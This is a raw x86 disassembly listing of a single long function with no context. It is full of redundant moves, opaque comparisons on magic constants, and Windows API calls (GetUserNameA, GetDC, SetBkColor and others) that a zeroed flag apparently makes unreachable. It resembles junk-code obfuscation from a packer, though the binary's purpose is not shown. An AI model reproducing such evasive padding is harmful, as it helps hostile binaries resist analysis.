cmp dword [ebp - 0x10], 4
jge 0x100394f0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1a18], 1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100394d7
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100395c3
push 2
lea ecx, [ebp - 0x438]
call fcn.1001ae71
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10039529
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
add eax, 0x37b1
je 0x10039527
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10039527
inc eax
jmp 0x10039529
xor eax, eax
xor ecx, ecx
cmp eax, 0xfffffff7
sete cl
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xa80aa4b6
setne cl
cmp eax, ecx
mov eax, dword [ebp - 0x1a14]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1a24]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
mov ecx, 0xffff
setge dl
xor eax, eax
cmp edx, 0x9bbc
setle al
sub eax, 0xf528
neg eax
sbb eax, eax
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x8cc]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x24]
jle 0x100395c1
xor esi, esi
inc esi
jmp 0x100395c5
xor eax, eax
mov esi, eax
push 2
lea ecx, [ebp - 0x438]
call fcn.1001ae71
mov dword [eax], esi
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x2a
jl 0x100394cc
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xd
jge 0x1003948e
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff1
jge 0x10039420
push 3
pop esi
jmp 0x1003972a
push 4
mov dword [ebp - 0x1c], 0x93197c82
lea ecx, [ebp - 0x94c]
pop eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x1178], edi
mov dword [ebp - 0x1174], edi
mov dword [ebp - 0x1170], edi
mov dword [ebp - 0x116c], edi
push eax
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10039662
push dword [ebp - 0x10]
lea ecx, [ebp - 0x94c]
call fcn.1001ae71
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10039643
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10039674
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10039710
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x438]
push ebx
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
neg ecx
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x94c]
mov eax, dword [ebp - 0x1174]
dec dword [ebp - 0x24]
xor eax, eax
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
push esi
cmp ecx, dword [eax]
lea ecx, [ebp - 0x94c]
setl bl
dec ebx
call fcn.1001ae71
xor ecx, ecx
cmp ebx, dword [eax]
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
test ecx, ecx
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
cmp ecx, dword [ebp - 0x4c]
jne 0x100396e7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x94c]
mov eax, dword [ebp - 0x2c]
xor eax, eax
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, edi
setne dl
cmp edx, dword [eax]
jge 0x1003970e
xor edx, edx
inc edx
jmp 0x10039712
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x94c]
call fcn.1001ae55
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 8
call fcn.1001ae55
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x48], 0xfffffff8
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x3c], eax
push 2
call fcn.1001add3
mov byte [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x1c], 0xa9ac70c3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10039785
push dword [ebp - 0x10]
lea ecx, [ebp - 0x140]
call fcn.1001ae71
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10039769
xor eax, eax
push eax
lea ecx, [ebp - 0x140]
call fcn.1001ae71
mov dword [eax], 0x13
jmp 0x100397bb
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100397ad
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
push eax
lea ecx, [ebp - 0x140]
call fcn.1001ae71
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x140]
push eax
call fcn.1001ae71
cmp dword [eax], 0xfffffff1
jl 0x10039799
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x1c], eax
inc ebx
cmp dword [ebp - 0x1c], 0xffffffe3
je 0x10039988
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0xd64]
mov dword [ebp - 0x44], 0x5d840dfe
mov dword [ebp - 0x4c], 9
mov dword [ebp - 0x38], 0xe6b87c26
mov dword [ebp - 0x10], 0x194e4064
push 2
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10039836
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd64]
call fcn.1001ae71
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003981b
xor eax, eax
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 7
jge 0x10039969
jmp 0x1003984a
xor eax, eax
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x140]
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x140]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x140]
push ebx
call fcn.1001ae71
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc6f0
jl 0x100398a5
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x100398a5
mov ecx, eax
jmp 0x100398ab
xor ecx, ecx
xor ebx, ebx
inc ecx
inc ebx
xor eax, eax
cmp ecx, ebx
mov ecx, dword [ebp - 0x1c]
setne al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xb13b1067
lea ecx, [ebp - 0x140]
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.1001ae71
lea ecx, [ebp - 0x140]
mov edi, dword [eax]
xor eax, eax
push eax
add edi, esi
call fcn.1001ae71
mov ecx, dword [ebp - 0x38]
xor edx, edx
cmp edi, ecx
lea ecx, [ebp - 0x140]
setne dl
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
push ebx
setge dl
lea ecx, [ebp - 0xd64]
add edx, 4
mov dword [ebp - 0x10], edx
mov esi, dword [ebp - 0x10]
neg esi
sbb esi, esi
call fcn.1001ae71
mov ecx, dword [ebp - 0x14]
mov edi, eax
xor eax, eax
neg esi
push 3
setne al
xor edx, edx
cmp eax, ecx
pop esi
setne dl
cmp edx, esi
sbb ecx, ecx
neg ecx
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [edi], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 7
jl 0x10039848
lea ecx, [ebp - 0xd64]
mov byte [ebp - 4], 0x10
call fcn.1001ae55
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
jne 0x100397e0
or edi, 0xffffffff
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 8
call fcn.1001ae55
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100399b5
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1e4]
call fcn.1001ae71
mov dword [eax], 0x85f7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1003999e
push ebx
lea ecx, [ebp - 0xbec]
call fcn.1001add3
mov byte [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x4c], 0xfffffffb
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10039a02
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6e4], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100399e9
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x10039a2a
push dword [ebp - 0x14]
lea ecx, [ebp - 0xbec]
call fcn.1001ae71
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10039a0b
xor eax, eax
cmp dword [ebp - 0x6e4], eax
jne 0x10039a60
push eax
lea ecx, [ebp - 0xbec]
call fcn.1001ae71
xor ecx, ecx
inc ecx
mov dword [eax], ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x6e0]
mov eax, dword [ebp - 0x6e0]
cmp dword [ebp - 0x6e4], eax
jl 0x10039a60
xor eax, eax
mov ecx, eax
jmp 0x10039a63
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x6e0]
sub eax, ecx
lea ecx, [ebp - 0xbec]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x6e0]
mov esi, dword [ebp - 0x4c]
xor eax, eax
push eax
call fcn.1001ae71
lea ecx, [ebp - 0xbec]
mov dword [eax], esi
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 8
call fcn.1001ae55
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x10039ad7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6c], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10039ac1
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop ebx
cmp dword [ebp - 0x18], ebx
jge 0x10039b00
push dword [ebp - 0x18]
lea ecx, [ebp - 0x7a4]
call fcn.1001ae71
mov dword [eax], 0xdc6f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10039ae2
xor eax, eax
mov dword [ebp - 0x1c], 0x7cb3f4f4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
push 0xfffffffffffffff7
pop esi
jge 0x10039b28
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x18b4], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10039b13
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10039b4b
push 0x451
push 0xb0f
push 1
push eax
push 0x22bd
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10039b69
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x18b4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10039b54
xor eax, eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], ebx
jg 0x10039d89
jmp 0x10039b79
xor eax, eax
mov dword [ebp - 0x14], 0xb56fe18
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x6c]
call fcn.1001ae71
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1e4]
call fcn.1001ae71
cmp dword [eax], 0
jne 0x10039baa
mov eax, dword [ebp - 0x6c]
xor eax, eax
lea ecx, [ebp - 0x1e4]
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x6c]
sub ecx, dword [eax]
mov eax, 0xffff
add ecx, eax
jne 0x10039bc9
mov eax, dword [ebp - 0x6c]
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1e4]
call fcn.1001ae71
push 1
lea ecx, [ebp - 0x1e4]
call fcn.1001ae71
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1e4]
call fcn.1001ae71
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1e4]
call fcn.1001ae71
xor eax, eax
lea ecx, [ebp - 0x7a4]
push eax
call fcn.1001ae71
xor eax, eax
lea ecx, [ebp - 0x7a4]
push eax
call fcn.1001ae71
xor eax, eax
lea ecx, [ebp - 0x7a4]
push eax
call fcn.1001ae71
cmp dword [eax], 0xcc0136ef
jb 0x10039c85
xor eax, eax
lea ecx, [ebp - 0x7a4]
push eax
call fcn.1001ae71
cmp dword [eax], 0
je 0x10039c85
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10039c75
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10039c72
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x10039c52
cmp dword [ebp - 0x6c], eax
jne 0x10039d89
jmp 0x10039c93
mov dword [ebp - 0x28], edi
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x10039d89
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x10039d7d
mov dword [ebp - 0x38], 0x555d5df5
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x4c], 0xad92edcd
push dword [ebp - 0x6c]
call fcn.1001ae71
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1e4]
mov esi, eax
call fcn.1001ae71
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [esi]
inc dword [ebp - 0x3c]
cmp eax, ecx
jge 0x10039ce9
xor esi, esi
inc esi
xor eax, eax
jmp 0x10039ced
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x14], eax
jne 0x10039d0f
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x6c]
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x54]
imul eax, edx, 0x5801
sub eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xc67586e0
sbb eax, eax
xor ecx, ecx
neg eax
cmp esi, eax
setg cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setne bl
xor ecx, ecx
cmp ebx, eax
setle cl
mov dword [ebp - 0x38], ecx
dec dword [ebp - 0x14]
jns 0x10039c9f
push 2
pop ebx
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], ebx
jle 0x10039b77
lea ecx, [ebp - 0x7a4]
call fcn.1001ae55
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 4], edi
call fcn.1001ae55
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x868]
push 3
call fcn.1001add3
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x84c]
mov dword [ebp - 0x40], 0xc6b79df9
push ebx
call fcn.1001add3
mov byte [ebp - 4], 0x14
xor eax, eax
push 6
mov dword [ebp - 0x4c], 1
pop esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10039e0a
push dword [ebp - 0x14]
lea ecx, [ebp - 0x868]
call fcn.1001ae71
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10039deb
xor eax, eax
xor edi, edi
mov dword [ebp - 0x14], eax
inc edi
cmp dword [ebp - 0x14], ebx
jge 0x10039e2a
push dword [ebp - 0x14]
lea ecx, [ebp - 0x84c]
call fcn.1001ae71
mov dword [eax], edi
inc dword [ebp - 0x14]
jmp 0x10039e10
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, 0x36544d18
neg ecx
sbb ecx, ecx
inc ecx
js 0x10039ebc
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x10039e99
mov dword [ebp - 0x10], 0xfffffff8
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x10039e7b
cmp dword [ebp - 0x24], eax
jne 0x10039e7b
dec dword [ebp - 0x10]
jns 0x10039e71
push edi
lea ecx, [ebp - 0x868]
call fcn.1001ae71
cmp dword [eax], 0
jne 0x10039e97
inc dword [ebp - 0x18]
push 0
pop eax
cmp dword [ebp - 0x18], ebx
jle 0x10039e62
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10039eb1
push dword [ebp - 0x24]
lea ecx, [ebp - 0x868]
call fcn.1001ae71
mov dword [eax], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10039e9e
jmp 0x10039ff7
push 3
pop ebx
push ebx
lea ecx, [ebp - 0xc04]
call fcn.1001add3
mov byte [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x38], 0x72327932
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10039efe
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc04]
call fcn.1001ae71
mov dword [eax], 0xec80f219
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10039ee0
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10039f1e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10dc], 0xe7790660
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10039f06
xor eax, eax
push eax
lea ecx, [ebp - 0xc04]
call fcn.1001ae71
mov ecx, dword [ebp - 0x40]
xor ebx, ebx
dec dword [eax]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x84c]
setl bl
xor eax, eax
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x10dc]
sub ebx, ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x40]
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x10039f75
push eax
lea ecx, [ebp - 0xc04]
call fcn.1001ae71
push 0xfffffffffffffffc
pop ecx
cmp ecx, dword [eax]
sbb eax, eax
neg eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
xor eax, eax
push eax
lea ecx, [ebp - 0x868]
call fcn.1001ae71
mov ecx, edi
sub ecx, dword [eax]
je 0x10039f8a
mov eax, dword [ebp - 0x38]
xor eax, eax
lea ecx, [ebp - 0x84c]
push eax
call fcn.1001ae71
mov dword [eax], edi
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10039fbf
push eax
lea ecx, [ebp - 0x84c]
call fcn.1001ae71
cmp dword [eax], 0
je 0x10039fbd
xor ecx, ecx
xor edi, edi
inc ecx
inc edi
jmp 0x10039fc1
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x54]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10dc]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0xf45a
lea ecx, [ebp - 0xc04]
setne al
mov dword [ebp - 0x10dc], eax
call fcn.1001ae55
push 2
pop ebx
lea ecx, [ebp - 0x84c]
call fcn.1001ae55
or eax, 0xffffffff
lea ecx, [ebp - 0x868]
mov dword [ebp - 4], eax
call fcn.1001ae55
push 3
lea ecx, [ebp - 0x170]
call fcn.1001add3
push ebx
lea ecx, [ebp - 0x400]
mov dword [ebp - 4], 0x16
call fcn.1001add3
lea eax, [ebp - 0x163c]
mov byte [ebp - 4], 0x17
movdqa xmm0, xmmword [0x10007c00]
lea ecx, [ebp - 0x1918]
push eax
lea eax, [ebp - 0x164c]
push eax
movdqu xmmword [ebp - 0x164c], xmm0
call fcn.1001ae80
lea ecx, [ebp - 0x1a5]
mov esi, eax
call fcn.10008c6b
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x2a0]
push dword [esi]
call fcn.1001ae2f
mov byte [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x1c], 0x35637001
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x54], 0x5f885928
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003a0be
xor ebx, ebx
push dword [ebp - 0x10]
lea ecx, [ebp - 0x400]
call fcn.1001ae71
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003a0a3
jmp 0x1003a0c0
xor ebx, ebx
push edi
lea ecx, [ebp - 0x400]
call fcn.1001ae71
push 3
pop esi
push edi
lea ecx, [ebp - 0x2a0]
mov dword [eax], esi
call fcn.1001ae71
push edi
lea ecx, [ebp - 0x400]
mov dword [eax], esi
call fcn.1001ae71
cmp dword [eax], ebx
je 0x1003a1d3
push 2
lea ecx, [ebp - 0x2a0]
call fcn.1001ae71
cmp dword [eax], ebx
je 0x1003a107
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x2a0]
push edi
call fcn.1001ae71
push edi
lea ecx, [ebp - 0x2a0]
call fcn.1001ae71
xor ebx, ebx
lea ecx, [ebp - 0x400]
xor esi, esi
push edi
cmp dword [eax], esi
setl bl
call fcn.1001ae71
push edi
lea ecx, [ebp - 0x2a0]
mov dword [eax], ebx
call fcn.1001ae71
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x2a0]
push edi
call fcn.1001ae71
xor ebx, ebx
lea ecx, [ebp - 0x2a0]
push edi
cmp dword [eax], esi
sete bl
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, ebx
lea ecx, [ebp - 0x400]
setge dl
mov dword [eax], edx
xor eax, eax
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
xor edx, edx
push edi
cmp dword [eax], ecx
lea ecx, [ebp - 0x400]
setne dl
sub edx, 0x3d252981
mov dword [ebp - 0x1c], edx
call fcn.1001ae71
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x2a0]
push 3
call fcn.1001ae71
mov ecx, dword [ebp - 0x24]
cmp dword [eax], ecx
je 0x1003a1d3
xor eax, eax
lea ecx, [ebp - 0x400]
push eax
call fcn.1001ae71
xor ebx, ebx
cmp dword [eax], ebx
je 0x1003a1d3
xor eax, eax
xor edi, edi
inc eax
inc edi
jmp 0x1003a1d7
xor eax, eax
xor ebx, ebx
mov edx, dword [ebp - 0x24]
xor ecx, ecx
imul edx, eax
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x24]
jne 0x1003a204
push edi
lea ecx, [ebp - 0x2a0]
call fcn.1001ae71
cmp dword [eax], ebx
je 0x1003a204
xor eax, eax
inc eax
jmp 0x1003a206
xor eax, eax
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x2a0]
call fcn.1001ae55
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x16
call fcn.1001ae55
push 2
pop ebx
push ebx
lea ecx, [ebp - 0x72c]
call fcn.1001add3
push ebx
lea ecx, [ebp - 0x6fc]
mov byte [ebp - 4], 0x19
call fcn.1001add3
push ebx
lea ecx, [ebp - 0xd7c]
mov byte [ebp - 4], 0x1a
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003a27e
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6fc]
call fcn.1001ae71
mov dword [eax], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003a260
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003a2a4
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd7c]
call fcn.1001ae71
mov dword [eax], 0x8e1b61ba
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003a286
xor eax, eax
push eax
lea ecx, [ebp - 0x6fc]
call fcn.1001ae71
lea ecx, [ebp - 0x6fc]
and dword [eax], 0
xor eax, eax
push eax
call fcn.1001ae71
or edi, 0xffffffff
cmp dword [eax], 0x1d
jg 0x1003a37d
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
xor eax, eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
jmp 0x1003a312
mov dword [ebp - 0x54], 0x5059
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x1003a30a
push eax
push 0x12d
push 0x2ca
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x1003a318
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x11
jne 0x1003a2dd
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], eax
jl 0x1003a358
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x1003a342
push eax
push eax
push 0x667
push 0xdbf
call esi
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd7c]
call fcn.1001ae71
dec dword [ebp - 0x14]
push 0
pop eax
jns 0x1003a324
push eax
lea ecx, [ebp - 0x6fc]
call fcn.1001ae71
lea ecx, [ebp - 0x6fc]
inc dword [eax]
xor eax, eax
push eax
call fcn.1001ae71
cmp dword [eax], 0x1d
jle 0x1003a2d3
lea ecx, [ebp - 0xd7c]
call fcn.1001ae55
lea ecx, [ebp - 0x6fc]
mov byte [ebp - 4], 0x19
call fcn.1001ae55
mov dword [ebp - 0x50], edi
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x10], eax
jmp 0x1003a3bc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbc], 0xd77c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x1003a3ab
mov dword [ebp - 0x18], 0xffffffee
jmp 0x1003a421
mov dword [ebp - 0x10], edi
xor edx, edx
mov dword [ebp - 0x40], 0x555145cc
mov dword [ebp - 0x4c], 0x1cb6a7f4
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
